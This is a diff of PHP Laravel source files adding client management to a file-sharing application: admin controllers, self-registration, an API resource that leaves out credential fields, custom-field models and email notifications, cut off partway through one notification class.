public function update(Request $request): RedirectResponse
|
||||
{
|
||||
$validated = $request->validate([
|
||||
'clients_can_register' => ['required', 'boolean'],
|
||||
'clients_auto_approve' => ['required', 'boolean'],
|
||||
'clients_auto_group' => ['required', 'integer', Rule::in([0, ...Group::query()->pluck('id')->all()])],
|
||||
'clients_can_select_group' => ['required', Rule::in(['none', 'public'])],
|
||||
'clients_membership_deny_cooldown_days' => ['required', 'integer', 'min:0', 'max:365'],
|
||||
'default_client_storage_quota_mb' => ['required', 'integer', 'min:0'],
|
||||
]);
|
||||
|
||||
$this->settings->set(Setting::ClientsCanRegister, $validated['clients_can_register']);
|
||||
$this->settings->set(Setting::ClientsAutoApprove, $validated['clients_auto_approve']);
|
||||
$this->settings->set(Setting::ClientsAutoGroup, (int) $validated['clients_auto_group']);
|
||||
$this->settings->set(Setting::ClientsCanSelectGroup, $validated['clients_can_select_group']);
|
||||
$this->settings->set(Setting::ClientsMembershipDenyCooldownDays, (int) $validated['clients_membership_deny_cooldown_days']);
|
||||
$this->settings->set(Setting::DefaultClientStorageQuotaMb, (int) $validated['default_client_storage_quota_mb']);
|
||||
|
||||
$this->activity->log(Action::SettingsUpdated, context: ['section' => 'clients']);
|
||||
|
||||
return back();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\ClientCustomFieldType;
|
||||
use App\Modules\Clients\ClientStorageUsage;
|
||||
use App\Modules\Clients\Models\ClientCustomField;
|
||||
use App\Modules\Clients\Models\ClientCustomFieldValue;
|
||||
use App\Modules\Clients\Notifications\ClientAccountEditedNotification;
|
||||
use App\Modules\Clients\Notifications\ClientWelcomeNotification;
|
||||
use App\Modules\Files\DeletedAccountContent;
|
||||
use App\Modules\Identity\AccountContentDeletion;
|
||||
use App\Modules\Identity\Models\Role;
|
||||
use App\Modules\Identity\Permissions\SystemRole;
|
||||
use App\Modules\Identity\TwoFactor\TwoFactorAdministration;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use App\Support\Pagination;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\Rules\Password;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* Client management — the recipients files are shared with. Available
|
||||
* in BOTH editions (clients are never portal-provisioned seats).
|
||||
* Strictly clients: staff accounts 404 here.
|
||||
*/
|
||||
class ClientsController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ActivityLogger $activity,
|
||||
private readonly Settings $settings,
|
||||
private readonly ClientStorageUsage $storageUsage,
|
||||
private readonly DeletedAccountContent $accountContent,
|
||||
private readonly AccountContentDeletion $accountDeletion,
|
||||
) {}
|
||||
|
||||
public function index(Request $request): Response
|
||||
{
|
||||
$validated = $request->validate([
|
||||
'search' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', Rule::in(['active', 'inactive'])],
|
||||
]);
|
||||
|
||||
$filters = [
|
||||
'search' => $validated['search'] ?? null,
|
||||
'status' => $validated['status'] ?? null,
|
||||
];
|
||||
|
||||
$clients = User::query()
|
||||
->where('type', UserType::Client)
|
||||
->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q
|
||||
->where('name', 'like', "%{$search}%")
|
||||
->orWhere('email', 'like', "%{$search}%")))
|
||||
->when($filters['status'], fn (Builder $query, string $status) => $query->where('active', $status === 'active'))
|
||||
->orderBy('name')
|
||||
->paginate(25)
|
||||
->withQueryString();
|
||||
|
||||
$content = $this->accountContent->summarizeMany($clients->pluck('id'));
|
||||
|
||||
$clients->through(fn (User $client): array => [
|
||||
'id' => $client->id,
|
||||
'name' => $client->name,
|
||||
'email' => $client->email,
|
||||
'active' => $client->active,
|
||||
'account_requested' => $client->account_requested,
|
||||
'created_at' => $client->created_at?->toIso8601String(),
|
||||
'content' => $content[$client->id] ?? ['files' => 0, 'folders' => 0],
|
||||
]);
|
||||
|
||||
return Inertia::render('clients/index', [
|
||||
'clients' => $clients->items(),
|
||||
'pagination' => Pagination::meta($clients),
|
||||
'filters' => $filters,
|
||||
'reassign_candidates' => $this->accountDeletion->candidates(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function create(): Response
|
||||
{
|
||||
return Inertia::render('clients/create', [
|
||||
'custom_fields' => $this->customFieldDefinitions(),
|
||||
'default_storage_quota_mb' => (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb),
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
$validated = $request->validate(array_merge([
|
||||
'name' => ['required', 'string', 'max:255'],
|
||||
'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'],
|
||||
'password' => ['required', 'confirmed', Password::defaults()],
|
||||
'storage_quota_mb' => ['nullable', 'integer', 'min:0'],
|
||||
], $this->customFieldRules()));
|
||||
|
||||
$client = User::create([
|
||||
'type' => UserType::Client,
|
||||
'active' => true,
|
||||
'account_requested' => false,
|
||||
'role_id' => Role::query()->where('name', SystemRole::Client->value)->value('id'),
|
||||
'name' => $validated['name'],
|
||||
'email' => $validated['email'],
|
||||
'password' => $validated['password'],
|
||||
// 0 (including an omitted field) means "no custom quota" —
|
||||
// it inherits Setting::DefaultClientStorageQuotaMb at
|
||||
// enforcement time (see ClientStorageUsage::quotaMb()), not
|
||||
// baked in here, so a later change to the site default
|
||||
// keeps applying to this client automatically.
|
||||
'storage_quota_mb' => $validated['storage_quota_mb'] ?? 0,
|
||||
'email_verified_at' => now(),
|
||||
]);
|
||||
|
||||
$this->activity->log(Action::UserCreated, subject: $client);
|
||||
|
||||
$this->saveCustomFieldValues($client, $validated['custom_field_values'] ?? []);
|
||||
|
||||
if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) {
|
||||
$client->notify(new ClientWelcomeNotification);
|
||||
}
|
||||
|
||||
return redirect()->route('clients.edit', $client)->with('success', __('Client created.'));
|
||||
}
|
||||
|
||||
public function edit(User $client): Response
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
return Inertia::render('clients/edit', [
|
||||
'client' => [
|
||||
'id' => $client->id,
|
||||
'name' => $client->name,
|
||||
'email' => $client->email,
|
||||
'active' => $client->active,
|
||||
'account_requested' => $client->account_requested,
|
||||
'storage_quota_mb' => $client->storage_quota_mb,
|
||||
'two_factor_enabled' => $client->hasTwoFactorEnabled(),
|
||||
],
|
||||
'default_storage_quota_mb' => (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb),
|
||||
'storage_used_mb' => (int) ceil($this->storageUsage->usedBytes($client) / 1024 / 1024),
|
||||
'custom_fields' => $this->customFieldDefinitions(),
|
||||
'custom_field_values' => ClientCustomFieldValue::query()
|
||||
->where('user_id', $client->id)
|
||||
->pluck('value', 'client_custom_field_id'),
|
||||
'content' => $this->accountContent->summarize($client),
|
||||
'reassign_candidates' => $this->accountDeletion->candidates($client->id),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, User $client): RedirectResponse
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
$validated = $request->validate(array_merge([
|
||||
'name' => ['required', 'string', 'max:255'],
|
||||
'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique('users', 'email')->ignore($client->id)],
|
||||
'active' => ['required', 'boolean'],
|
||||
'password' => ['nullable', 'confirmed', Password::defaults()],
|
||||
'storage_quota_mb' => ['nullable', 'integer', 'min:0'],
|
||||
], $this->customFieldRules()));
|
||||
|
||||
$wasActive = $client->active;
|
||||
$passwordChanged = is_string($validated['password'] ?? null) && $validated['password'] !== '';
|
||||
|
||||
$client->fill([
|
||||
'name' => $validated['name'],
|
||||
'email' => $validated['email'],
|
||||
'active' => $validated['active'],
|
||||
// The edit form always submits this field — an empty value
|
||||
// means the admin explicitly cleared it (ConvertEmptyStringsToNull
|
||||
// turns it into null before validation), not "leave unchanged".
|
||||
// 0 = inherit the site default, same as a brand-new client.
|
||||
'storage_quota_mb' => $validated['storage_quota_mb'] ?? 0,
|
||||
]);
|
||||
|
||||
// Activating a pending account through the edit screen counts as
|
||||
// approval and clears the request flag.
|
||||
if ($client->account_requested && $validated['active']) {
|
||||
$client->account_requested = false;
|
||||
}
|
||||
|
||||
if ($passwordChanged) {
|
||||
$client->password = $validated['password'];
|
||||
}
|
||||
|
||||
$client->save();
|
||||
|
||||
$this->saveCustomFieldValues($client, $validated['custom_field_values'] ?? []);
|
||||
|
||||
$this->activity->log(Action::UserUpdated, subject: $client);
|
||||
|
||||
if ($wasActive && ! $client->active) {
|
||||
$this->activity->log(Action::UserDeactivated, subject: $client);
|
||||
} elseif (! $wasActive && $client->active) {
|
||||
$this->activity->log(Action::UserActivated, subject: $client);
|
||||
}
|
||||
|
||||
// Skip a no-op resubmit (same name/email/active, no new password).
|
||||
if (($client->wasChanged(['name', 'email', 'active']) || $passwordChanged)
|
||||
&& $this->settings->get(Setting::EmailNotificationsEnabled) === true) {
|
||||
$client->notify(new ClientAccountEditedNotification);
|
||||
}
|
||||
|
||||
return back()->with('success', __('Client updated.'));
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove this account's second factor, for the client who has lost
|
||||
* their authenticator and their recovery codes.
|
||||
*/
|
||||
public function destroyTwoFactor(User $client, TwoFactorAdministration $twoFactor): RedirectResponse
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
$twoFactor->reset($client);
|
||||
|
||||
return back()->with('success', __('Two-factor authentication removed.'));
|
||||
}
|
||||
|
||||
public function destroy(Request $request, User $client): RedirectResponse
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
$validated = $this->accountDeletion->validate($request, $client);
|
||||
|
||||
$name = $client->name;
|
||||
$client->delete();
|
||||
|
||||
$this->activity->log(Action::UserDeleted, context: ['name' => $name]);
|
||||
|
||||
$this->accountDeletion->apply($validated, $client, $name);
|
||||
|
||||
return redirect()->route('clients.index')->with('success', __('Client deleted.'));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function customFieldDefinitions(): array
|
||||
{
|
||||
return array_values(ClientCustomField::query()
|
||||
->orderBy('sort_order')
|
||||
->orderBy('id')
|
||||
->get()
|
||||
->map(fn (ClientCustomField $field): array => [
|
||||
'id' => $field->id,
|
||||
'label' => $field->label,
|
||||
'type' => $field->type->value,
|
||||
'options' => $field->options,
|
||||
'required' => $field->required,
|
||||
])
|
||||
->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, array<int, mixed>>
|
||||
*/
|
||||
private function customFieldRules(): array
|
||||
{
|
||||
$rules = [];
|
||||
|
||||
foreach (ClientCustomField::query()->get() as $field) {
|
||||
$key = "custom_field_values.{$field->id}";
|
||||
|
||||
// Checkboxes are never hard-required here — "required" only
|
||||
// drives the asterisk shown on the form, not a forced check.
|
||||
if ($field->type === ClientCustomFieldType::Checkbox) {
|
||||
$rules[$key] = ['nullable', 'boolean'];
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$rules[$key] = [$field->required ? 'required' : 'nullable', 'string', 'max:2000'];
|
||||
|
||||
if ($field->type === ClientCustomFieldType::Select && is_array($field->options)) {
|
||||
$rules[$key][] = Rule::in($field->options);
|
||||
}
|
||||
}
|
||||
|
||||
return $rules;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int, mixed> $values field id => submitted value
|
||||
*/
|
||||
private function saveCustomFieldValues(User $client, array $values): void
|
||||
{
|
||||
foreach (ClientCustomField::query()->get() as $field) {
|
||||
$submitted = $values[$field->id] ?? null;
|
||||
$value = $field->type === ClientCustomFieldType::Checkbox
|
||||
? ($submitted ? '1' : '0')
|
||||
: (is_string($submitted) ? $submitted : null);
|
||||
|
||||
ClientCustomFieldValue::query()->updateOrCreate(
|
||||
['client_custom_field_id' => $field->id, 'user_id' => $client->id],
|
||||
['value' => $value === '' ? null : $value],
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\ClientFieldContext;
|
||||
use App\Modules\Clients\ClientPortalCustomFields;
|
||||
use App\Modules\Clients\ClientProvisioning;
|
||||
use App\Modules\Groups\Models\Group;
|
||||
use App\Modules\Groups\Models\MembershipRequest;
|
||||
use App\Modules\Platform\Captcha\CaptchaForm;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use App\Support\Rules;
|
||||
use Illuminate\Database\Eloquent\Collection;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\Rules\Password;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* Client self-registration (v1's register.php) — client-only by
|
||||
* construction, gated by the clients_can_register setting. When
|
||||
* clients_auto_approve is off, the account is created inactive and
|
||||
* lands in the account-requests queue.
|
||||
*/
|
||||
class RegistrationController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly Settings $settings,
|
||||
private readonly ActivityLogger $activity,
|
||||
private readonly ClientPortalCustomFields $customFields,
|
||||
private readonly ClientProvisioning $provisioning,
|
||||
) {}
|
||||
|
||||
public function create(): Response
|
||||
{
|
||||
abort_unless($this->settings->get(Setting::ClientsCanRegister) === true, 404);
|
||||
|
||||
return Inertia::render('auth/register', [
|
||||
'auto_approve' => $this->settings->get(Setting::ClientsAutoApprove) === true,
|
||||
'selectable_groups' => $this->selectableGroups()
|
||||
->map(fn (Group $group): array => ['id' => $group->id, 'name' => $group->name])
|
||||
->values()
|
||||
->all(),
|
||||
'custom_fields' => $this->customFields->rows(ClientFieldContext::Registration, null),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Groups a registrant may request membership to, per the
|
||||
* clients_can_select_group setting.
|
||||
*
|
||||
* @return Collection<int, Group>
|
||||
*/
|
||||
private function selectableGroups(): Collection
|
||||
{
|
||||
return match ($this->settings->get(Setting::ClientsCanSelectGroup)) {
|
||||
'public' => Group::query()->where('public', true)->orderBy('name')->get(),
|
||||
default => Group::query()->whereRaw('1 = 0')->get(),
|
||||
};
|
||||
}
|
||||
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
abort_unless($this->settings->get(Setting::ClientsCanRegister) === true, 404);
|
||||
|
||||
$validated = $request->validate([
|
||||
'name' => ['required', 'string', 'max:255'],
|
||||
'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'],
|
||||
'password' => ['required', 'confirmed', Password::defaults()],
|
||||
'groups' => ['array'],
|
||||
'groups.*' => ['integer', Rule::in($this->selectableGroups()->pluck('id')->all())],
|
||||
...$this->customFields->rules(ClientFieldContext::Registration, null),
|
||||
// Exactly one verification per request. v1's registration path
|
||||
// verified twice for reCAPTCHA v2 — the second time on a token
|
||||
// its own first call had already consumed — which made
|
||||
// self-registration impossible to complete.
|
||||
...Rules::captcha(CaptchaForm::Register),
|
||||
]);
|
||||
|
||||
$autoApprove = $this->provisioning->autoApproves();
|
||||
|
||||
// Creation, approval state, the auto-join group and the
|
||||
// administrator notification are shared with LDAP provisioning —
|
||||
// see ClientProvisioning. What stays here is what only a
|
||||
// registration form has: custom fields and requested groups.
|
||||
$client = $this->provisioning->provision(
|
||||
$validated['name'],
|
||||
$validated['email'],
|
||||
$validated['password'],
|
||||
Action::ClientSelfRegistered,
|
||||
);
|
||||
|
||||
$this->customFields->save($client, ClientFieldContext::Registration, $validated['custom_field_values'] ?? []);
|
||||
|
||||
$autoGroupId = (int) $this->settings->get(Setting::ClientsAutoGroup);
|
||||
|
||||
// Requested groups wait for staff approval.
|
||||
foreach (array_unique($validated['groups'] ?? []) as $groupId) {
|
||||
if ((int) $groupId === $autoGroupId) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$membershipRequest = MembershipRequest::query()->create([
|
||||
'group_id' => $groupId,
|
||||
'user_id' => $client->id,
|
||||
]);
|
||||
|
||||
$this->activity->log(Action::GroupMembershipRequested, $client, $membershipRequest->group);
|
||||
}
|
||||
|
||||
return redirect()->route('login')->with(
|
||||
'status',
|
||||
$autoApprove
|
||||
? __('Your account has been created. You can log in now.')
|
||||
: __('Your account request has been received. You will be able to log in once it is approved.'),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Resources\Api;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Clients\ClientStorageUsage;
|
||||
use App\Modules\Clients\Models\ClientCustomField;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Resources\Json\JsonResource;
|
||||
|
||||
/**
|
||||
* @mixin User
|
||||
*
|
||||
* A client is a row in `users`, which is the most sensitive table in the
|
||||
* application — so this enumerates its fields rather than serialising the
|
||||
* model, and the enumeration is the point.
|
||||
*
|
||||
* Never present, regardless of what the model gains later: `password`,
|
||||
* `two_factor_secret`, `two_factor_recovery_codes`, `remember_token`.
|
||||
* The first three are credentials; the fourth is a bearer credential in
|
||||
* its own right, and publishing it would let an API reader impersonate the
|
||||
* client in a browser.
|
||||
*
|
||||
* Custom field *values* are included, because they are ordinary client
|
||||
* data that any staff member with `edit_clients` already reads on the edit
|
||||
* screen — the API must not be a second, quieter privacy boundary. They
|
||||
* are attached only on `show`, so a bulk listing does not hand out every
|
||||
* client's field data in one call.
|
||||
*/
|
||||
class ClientResource extends JsonResource
|
||||
{
|
||||
/** @var array<int, string>|null field id => value */
|
||||
private ?array $customFieldValues = null;
|
||||
|
||||
private ?ClientStorageUsage $storage = null;
|
||||
|
||||
/** @var array{files: int, folders: int}|null */
|
||||
private ?array $content = null;
|
||||
|
||||
/**
|
||||
* The richer single-client shape.
|
||||
*
|
||||
* A named constructor rather than extra __construct parameters:
|
||||
* JsonResource::collection() maps the collection through
|
||||
* `new static($item, $key)`, so widening the constructor silently
|
||||
* breaks every listing with a TypeError on the second argument.
|
||||
*
|
||||
* @param array<int, string> $customFieldValues field id => value
|
||||
* @param array{files: int, folders: int} $content
|
||||
*/
|
||||
public static function detailed(
|
||||
User $client,
|
||||
array $customFieldValues,
|
||||
ClientStorageUsage $storage,
|
||||
array $content,
|
||||
): self {
|
||||
$resource = new self($client);
|
||||
$resource->customFieldValues = $customFieldValues;
|
||||
$resource->storage = $storage;
|
||||
$resource->content = $content;
|
||||
|
||||
return $resource;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function toArray(Request $request): array
|
||||
{
|
||||
$data = [
|
||||
'id' => $this->id,
|
||||
'name' => $this->name,
|
||||
'email' => $this->email,
|
||||
'active' => $this->active,
|
||||
'account_requested' => $this->account_requested,
|
||||
// Whether, not what: the state of the second factor is what a
|
||||
// caller needs to see before removing it. The secret and the
|
||||
// recovery codes stay where they are.
|
||||
'two_factor_enabled' => $this->hasTwoFactorEnabled(),
|
||||
'created_at' => $this->created_at?->toIso8601String(),
|
||||
'updated_at' => $this->updated_at?->toIso8601String(),
|
||||
];
|
||||
|
||||
if ($this->storage !== null) {
|
||||
$quotaMb = $this->storage->quotaMb($this->resource);
|
||||
|
||||
$data['storage'] = [
|
||||
// The client's own column, where 0 means "inherit the site
|
||||
// default" rather than "unlimited" — both are reported so a
|
||||
// caller need not know that rule to display it correctly.
|
||||
'quota_mb' => $this->storage_quota_mb,
|
||||
'effective_quota_mb' => $quotaMb,
|
||||
'unlimited' => $quotaMb === 0,
|
||||
'used_mb' => (int) ceil($this->storage->usedBytes($this->resource) / 1024 / 1024),
|
||||
];
|
||||
}
|
||||
|
||||
if ($this->customFieldValues !== null) {
|
||||
$data['custom_fields'] = ClientCustomField::query()
|
||||
->orderBy('sort_order')
|
||||
->orderBy('id')
|
||||
->get()
|
||||
->map(fn (ClientCustomField $field): array => [
|
||||
'id' => $field->id,
|
||||
'name' => $field->name,
|
||||
'label' => $field->label,
|
||||
'type' => $field->type->value,
|
||||
'value' => $this->customFieldValues[$field->id] ?? null,
|
||||
])
|
||||
->all();
|
||||
}
|
||||
|
||||
if ($this->content !== null) {
|
||||
// What a caller needs in order to answer DELETE's mandatory
|
||||
// content-disposition question before asking.
|
||||
$data['content'] = $this->content;
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Models;
|
||||
|
||||
use App\Modules\Clients\ClientCustomFieldType;
|
||||
use App\Modules\Clients\ClientFieldEditability;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
/**
|
||||
* A field definition shown on the staff-facing client create/edit
|
||||
* screens, and optionally also on the client-facing registration and/or
|
||||
* account pages (see `client_editability`/`client_contexts`). Configuration
|
||||
* data — hard-deleted; deleting one cascades its per-client values.
|
||||
*
|
||||
* @property int $id
|
||||
* @property string $name
|
||||
* @property string $label
|
||||
* @property ClientCustomFieldType $type
|
||||
* @property list<string>|null $options
|
||||
* @property bool $required
|
||||
* @property int $sort_order
|
||||
* @property ClientFieldEditability $client_editability
|
||||
* @property list<string>|null $client_contexts
|
||||
*/
|
||||
class ClientCustomField extends Model
|
||||
{
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'type' => ClientCustomFieldType::class,
|
||||
'options' => 'array',
|
||||
'required' => 'boolean',
|
||||
'client_editability' => ClientFieldEditability::class,
|
||||
'client_contexts' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return HasMany<ClientCustomFieldValue, $this>
|
||||
*/
|
||||
public function values(): HasMany
|
||||
{
|
||||
return $this->hasMany(ClientCustomFieldValue::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Models;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
/**
|
||||
* One client's answer for one custom field. Cascades away with either
|
||||
* side (the field definition or the client).
|
||||
*
|
||||
* @property int $id
|
||||
* @property int $client_custom_field_id
|
||||
* @property int $user_id
|
||||
* @property string|null $value
|
||||
*/
|
||||
class ClientCustomFieldValue extends Model
|
||||
{
|
||||
protected $guarded = [];
|
||||
|
||||
/**
|
||||
* @return BelongsTo<ClientCustomField, $this>
|
||||
*/
|
||||
public function field(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(ClientCustomField::class, 'client_custom_field_id');
|
||||
}
|
||||
|
||||
/**
|
||||
* @return BelongsTo<User, $this>
|
||||
*/
|
||||
public function client(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(User::class, 'user_id');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Notifications;
|
||||
|
||||
use App\Modules\Platform\Notifications\Concerns\RendersOverridableMail;
|
||||
use App\Modules\Platform\Notifications\EmailTemplateSlot;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
use Illuminate\Notifications\Notification;
|
||||
|
||||
/**
|
||||
* Sent to every configured admin recipient (Setting::AdminNotificationEmails)
|
||||
* when a client self-registers. Sent on-demand, one per address, so admin
|
||||
* addresses aren't exposed to each other in a shared To: header.
|
||||
*/
|
||||
class AdminClientRegisteredNotification extends Notification implements ShouldQueue
|
||||
{
|
||||
use Queueable, RendersOverridableMail;
|
||||
|
||||
public function __construct(
|
||||
private readonly string $name,
|
||||
private readonly string $email,
|
||||
private readonly bool $pendingApproval,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return array<int, string>
|
||||
*/
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return ['mail'];
|
||||
}
|
||||
|
||||
public function toMail(object $notifiable): MailMessage
|
||||
{
|
||||
$override = $this->overrideOrNull(EmailTemplateSlot::AdminClientRegistered);
|
||||
|
||||
$message = $override !== null
|
||||
? $this->mailFromOverride($override, [':name' => $this->name, ':email' => $this->email])
|
||||
: (new MailMessage)
|
||||
->subject(__('A new client has registered'))
|
||||
->line(__('A new client account was created: :name (:email).', ['name' => $this->name, 'email' => $this->email]));
|
||||
|
||||
// The pending-approval notice and its action stay code-controlled
|
||||
// regardless of a customized template, same as every other action.
|
||||
if ($this->pendingApproval) {
|
||||
$message->line(__('Their account is waiting for approval.'))
|
||||
->action(__('Review pending requests'), route('account-requests.index'));
|
||||
}
|
||||
|
||||
return $message;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Notifications;
|
||||
|
||||
use App\Modules\Platform\Notifications\Concerns\RendersOverridableMail;
|
||||
use App\Modules\Platform\Notifications\EmailTemplateSlot;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
use Illuminate\Notifications\Notification;
|
||||
|
||||
class ClientAccountApprovedNotification extends Notification implements ShouldQueue
|
||||
{
|
||||
use Queueable, RendersOverridableMail;
|
||||
|
||||
/**
|
||||
* @return array<int, string>
|
||||
*/
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return ['mail'];
|
||||
}
|
||||
|
||||
public function toMail(object $notifiable): MailMessage
|
||||
{
|
||||
if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientAccountApproved)) !== null) {
|
||||
return $this->mailFromOverride($override, [])->action(__('Log in'), route('login'));
|
||||
}
|
||||
|
||||
return (new MailMessage)
|
||||
->subject(__('Your account has been approved'))
|
||||
->line(__('Your account request has been approved. You can now log in.'))
|
||||
->action(__('Log in'), route('login'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Notifications;
|
||||
|
||||
use App\Modules\Platform\Notifications\Concerns\RendersOverridableMail;
|
||||
use App\Modules\Platform\Notifications\EmailTemplateSlot;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
use Illuminate\Notifications\Notification;
|
||||
|
||||
/**
|
||||
* Sent on-demand (Notification::route('mail', ...)), never via
|
||||
* $client->notify() — the account row is force-deleted in the same
|
||||
* request, and a queued job re-fetching a deleted model would fail.
|
||||
*/
|
||||
class ClientAccountDeniedNotification extends Notification implements ShouldQueue
|
||||
{
|
||||
use Queueable, RendersOverridableMail;
|
||||
|
||||
public function __construct(
|
||||
private readonly string $name,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return array<int, string>
|
||||
*/
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return ['mail'];
|
||||
}
|
||||
|
||||
public function toMail(object $notifiable): MailMessage
|
||||
{
|
||||
if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientAccountDenied)) !== null) {
|
||||
return $this->mailFromOverride($override, [':name' => $this->name]);
|
||||
}
|
||||
|
||||
return (new MailMessage)
|
||||
->subject(__('Your account request was denied'))
|
||||
->greeting(__('Hello :name,', ['name' => $this->name]))
|
||||
->line(__('Your account request has been denied.'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Notifications;
|
||||
|
||||
use App\Modules\Platform\Notifications\Concerns\RendersOverridableMail;
|
||||
use App\Modules\Platform\Notifications\EmailTemplateSlot;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
use Illuminate\Notifications\Notification;
|
||||
|
||||
/**
|
||||
* A generic security-style notice — no diff of what changed (avoids
|
||||
* exposing e.g. a password-change signal in cleartext) — sent whenever
|
||||
* staff edit a client's name, email, active status, or password.
|
||||
*/
|
||||
class ClientAccountEditedNotification extends Notification implements ShouldQueue
|
||||
{
|
||||
use Queueable, RendersOverridableMail;
|
||||
|
||||
/**
|
||||
* @return array<int, string>
|
||||
*/
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return ['mail'];
|
||||
}
|
||||
|
||||
public function toMail(object $notifiable): MailMessage
|
||||
{
|
||||
